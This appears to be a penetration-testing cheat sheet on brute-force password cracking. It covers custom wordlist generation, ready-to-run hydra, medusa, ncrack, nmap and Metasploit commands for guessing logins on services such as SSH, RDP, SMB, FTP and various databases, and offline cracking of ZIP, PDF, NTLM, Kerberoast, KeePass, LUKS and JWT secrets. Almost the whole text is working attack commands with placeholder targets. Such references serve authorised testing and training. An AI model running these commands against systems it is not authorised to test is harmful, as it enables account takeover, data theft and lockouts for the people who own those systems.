Brute Force Cracking

Brute Force Cracking #

Making wordslists #

Find as much information about the target as you can and generate a custom dictionary. Tools that may help:

Crunch #

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl #

cewl example.com -m 5 -w words.txt

CUPP #

Generate passwords based on your knowledge of the victim (names, dates…) python3 cupp.py -h

pydictor #

Wordlists #

SecLists WordList-Compendium Kaonashi (https://github.com/google/fuzzing/tree/master/dictionaries) (https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)

Default Credentials #

Brute Force Cheatsheeet #

Services #

AFP #

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP #

nmap --script ajp-brute -p 8009 <IP>

Cassandra #

nmap --script cassandra-brute -p 9160 <IP>

CouchDB #

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Docker Registry #

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch #

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP #

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp

HTTP Generic Brute #

WFuzz

HTTP Basic Auth #

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10

HTTP - Post Form #

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
For https you have to change from "http-post-form" to "https-post-form"

HTTP - CMS – (W)ordpress, (J)oomla or (D)rupal or (M)oodle #

cmsmap -f W/J/D/M -u a -p a https://wordpress.com

IMAP #

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>

IRC #

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI #

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT #

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP #

nmap --script ldap-brute -p 389 <IP>

MQTT #

ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v

Mongo #

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login

MySQL #

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

OracleSQL #

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
In order to use oracle_login with patator you need to install:
pip3 install cx_Oracle --upgrade
Offline OracleSQL hash bruteforce (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3):
 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP #

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

PostgreSQL #

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

PPTP #

You can download the .deb package to install from https://http.kali.org/pool/main/t/thc-pptp-bruter/
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP #

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>

Redis #

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default

Rexec #

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin #

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh #

hydra -L <Username_list> rsh://<Victim_IP> -v -V
http://pentestmonkey.net/tools/misc/rsh-grind

Rsync #

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP #

hydra -l root -P passwords.txt <IP> rtsp

SNMP #

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB #

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1

SMTP #

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL

SOCKS #

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>

SQL Server #

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH #

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'

Telnet #

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

VNC #

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm #

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

Cracking Locally #

Online cracking databases #

(http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) (https://www.onlinehashcrack.com/) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF…) (https://crackstation.net/) (Hashes) (https://md5decrypt.net/) (MD5) (https://gpuhash.me/) (Hashes and file hashes) (https://hashes.org/search.php) (Hashes) (https://www.cmd5.org/) (Hashes) (https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) (https://www.md5online.org/md5-decrypt.html) (MD5) (http://reverse-hash-lookup.online-domain-tools.com/)

ZIP #

#sudo apt-get install fcrackzip 
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Known plaintext zip attack
You need to know the plaintext (or part of the plaintext) of a file contained inside the encrypted zip. You can check filenames and size of files contained inside an encrypted zip running: 7z l encrypted.zip
Download bkcrack from the releases page.
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd 
unzip unlocked.zip #User new_pwd as password

7z #

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF #

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

PDF Owner Password #

To crack a PDF Owner password check this: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT #

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

NTLM cracking #

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass #

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting #

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Lucks image #

Method 1 #

Install: https://github.com/glv2/bruteforce-luks
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Method 2 #

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
Another Luks BF tutorial: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql #

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
PGP/GPG Private key
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

DPAPI Master Key #

Use https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py and then john

Open Office Pwd Protected Column #

If you have an xlsx file with a column protected by a password you can unprotect it:
Upload it to google drive and the password will be automatically removed
To remove it manually:
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

PFX Certificates #

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx

Tools #

Hash examples: https://openwall.info/wiki/john/sample-hashes

Hash-identifier #

 hash-identifie4
 > <HASH>

Wordlists #

Rockyou
Probable-Wordlists
Kaonashi
Seclists - Passwords

Wordlist Generation Tools #

kwprocessor: Advanced keyboard-walk generator with configurable base chars, keymap and routes.
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

John mutation #

Read /etc/john/john.conf and configure it

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules